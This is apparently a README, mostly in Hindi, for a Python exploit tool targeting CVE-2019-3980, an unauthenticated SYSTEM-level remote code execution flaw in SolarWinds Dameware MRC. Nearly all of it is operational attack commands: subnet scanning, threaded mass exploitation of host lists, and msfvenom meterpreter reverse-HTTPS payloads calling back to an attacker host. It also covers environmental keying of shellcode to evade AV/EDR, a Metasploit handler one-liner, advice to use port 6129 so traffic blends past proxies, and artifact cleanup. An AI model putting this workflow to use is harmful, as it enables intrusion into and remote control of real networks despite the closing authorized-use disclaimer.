
CVE-2019-3980 के लिए Python 3 शोषण. SolarWinds Dameware MRC स्मार्ट कार्ड प्रमाणीकरण बाईपास के माध्यम से SYSTEM के रूप में बिना प्रमाणीकरण के RCE.

बिना प्रमाणीकरण के RCE स्मार्ट कार्ड प्रमाणीकरण बायपास के माध्यम से SolarWinds Dameware MRC में
CVE-2019-3980 | CVSS 9.8 गंभीर | TCP/6129
मूल शोध और POC: Tenable, Inc. (TRA-2019-43)
Python 3 टूल: डेविड बॉयड (@Fir3d0g)
Dameware MRC टीसीपी/6129 पर एक रिमोट कंट्रोल सेवा (DWRCS.exe) प्रकट करता है। स्मार्ट कार्ड प्रमाणीकरण हैंडशेक के दौरान, सर्वर हमलावर-नियंत्रित फ़ाइल को स्मार्ट कार्ड ड्राइवर इंस्टॉलर (dwDrvInst.exe) के रूप में स्वीकार करता है और इसे SYSTEM के रूप में निष्पादित करता है, बिना किसी प्रमाणीकरण की आवश्यकता के।
DameFlare पूर्ण प्रोटोकॉल हैंडशेक (वर्जन वार्ता → AES कुंजी व्युत्पत्ति → Diffie-Hellman कुंजी विनिमय → RSA हस्ताक्षर → ड्राइवर अपलोड) को लागू करता है ताकि एक मनमाना पेलोड वितरित किया जा सके और बिना प्रमाणीकरण के रिमोट कोड निष्पादन प्राप्त किया जा सके।
| उत्पाद | कमजोर | सुधारा गया |
|---|---|---|
| Dameware MRC 12.0.x | सभी बिल्ड | Hotfix 1 |
| Dameware MRC 12.1.x | सभी बिल्ड | Hotfix 3 |
git clone https://github.com/boydhacks/dameflare
cd dameflare
pip3 install -r requirements.txt
python3 dameflare.py -h
python3 dameflare.py -t 192.168.1.50 -e payload.exe
python3 dameflare.py -t 192.168.1.50 -e payload.exe -v
python3 dameflare.py -t 10.0.0.100 -e payload.exe -p 6130 -T 15
python3 dameflare.py -f vuln_hosts.txt -e payload.exe
python3 dameflare.py -f vuln_hosts.txt -e payload.exe --threads 5
python3 dameflare.py --scan -t 192.168.1.0/24
python3 dameflare.py --scan -t 192.168.1.0/24 -o vuln_hosts.txt --scan-threads 50
python3 dameflare.py --scan -f port6129.txt -o vuln_hosts.txt
python3 dameflare.py --scan -t 192.168.1.0/24 -o vuln_hosts.txt
python3 dameflare.py -f vuln_hosts.txt -e payload.exe --threads 5
एक्सप्लॉइट के बाद लक्ष्य से dwDrvInst.exe आर्टिफैक्ट हटाएँ:
python3 dameflare.py -t 192.168.1.50 --cleanup
python3 dameflare.py -f vuln_hosts.txt --cleanup
आवश्यकता है msfvenom PATH में। एक स्व-हटाने वाला EXE अपलोड करता है जो थोड़ी देरी के बाद dwDrvInst.exe और स्वयं को हटा देता है।
वैकल्पिक रूप से, यदि आपके पास क्रेडेंशियल्स हैं, तो आप NXC जैसी चीज़ का उपयोग कर सकते हैं:
nxc smb <target> -u <user> -p <pass> -x "del /f /q C:\Windows\Temp\dwDrvInst.exe"
msfvenom -p windows/x64/meterpreter_reverse_https LHOST=<ip> LPORT=443 EXITFUNC=thread -f raw -o payload.bin
msfvenom -p windows/meterpreter_reverse_https LHOST=<ip> LPORT=443 EXITFUNC=thread -f exe -o payload_x86.exe
msfvenom -p windows/x64/meterpreter_reverse_https LHOST=<ip> LPORT=443 EXITFUNC=thread -f exe -o payload_x64.exe
रॉ शेलकोड को पर्यावरणीय कीइंग से लपेटें ताकि AV/EDR सैंडबॉक्स विश्लेषण को चकमा दिया जा सके। पेलोड केवल उस मशीन पर डिक्रिप्ट और निष्पादित होगा जहां कुंजियाँ मेल खाती हैं। केविन क्लार्क (@GuhnooPlusLinux) को उनके शानदार काम के लिए बहुत-बहुत धन्यवाद!
# Key on domain and hostname (use short names, not FQDN)
python3 ek47.py srdi-shellcode -p payload.bin -d <SHORT_DOMAIN> -c <HOSTNAME> -o payload_wrapped.exe
# Key on domain only
python3 ek47.py srdi-shellcode -p payload.bin -d <SHORT_DOMAIN> -o payload_wrapped.exe
# Static key only (useful for testing)
python3 ek47.py srdi-shellcode -p payload.bin -s 5 -o payload_wrapped.exe
# Alternative injection methods if srdi-shellcode is caught
python3 ek47.py dinvoke-shellcode -p payload.bin -d <SHORT_DOMAIN> -c <HOSTNAME> -o payload_wrapped.exe
python3 ek47.py noapi-shellcode -p payload.bin -d <SHORT_DOMAIN> -c <HOSTNAME> -o payload_wrapped.exe
msfvenom -p windows/x64/meterpreter_reverse_https LHOST=<ip> LPORT=6129 EXITFUNC=thread -f raw -o payload.bin
python3 ek47.py srdi-shellcode -p payload.bin -d CONTOSO -c WS01 -o payload_wrapped.exe
python3 dameflare.py -t <target> -e payload_wrapped.exe
sudo msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter_reverse_https; set LHOST <ip>; set LPORT 443; set ExitOnSession false; set StagerVerifySSLCert false; set EXITFUNC thread; exploit -j"
नोट: पेलोड का नाम msfvenom और हैंडलर के बीच बिल्कुल मेल खाना चाहिए:
- स्टेजलेस:
windows/x64/meterpreter_reverse_https(अंडरस्कोर)- स्टेज्ड:
windows/x64/meterpreter/reverse_https(स्लैश)
सुझाव: Dameware वातावरण में, पोर्ट
6129को अक्सर आउटबाउंड की अनुमति होती है और यह वैध DWRCS ट्रैफ़िक के साथ घुलमिल जाता है। यदि443को प्रॉक्सी द्वारा अवरुद्ध या निरीक्षण किया जाता है, तोLPORT=6129का प्रयास करें क्योंकि लक्ष्य नेटवर्क संभवतः इसे अनुमति देने के लिए डिज़ाइन किया गया था।
यह उपकरण केवल अधिकृत प्रवेश परीक्षण और रेड टीम संचालन में उपयोग के लिए है। लेखक अनधिकृत या अवैध उपयोग के लिए कोई जिम्मेदारी नहीं लेता है।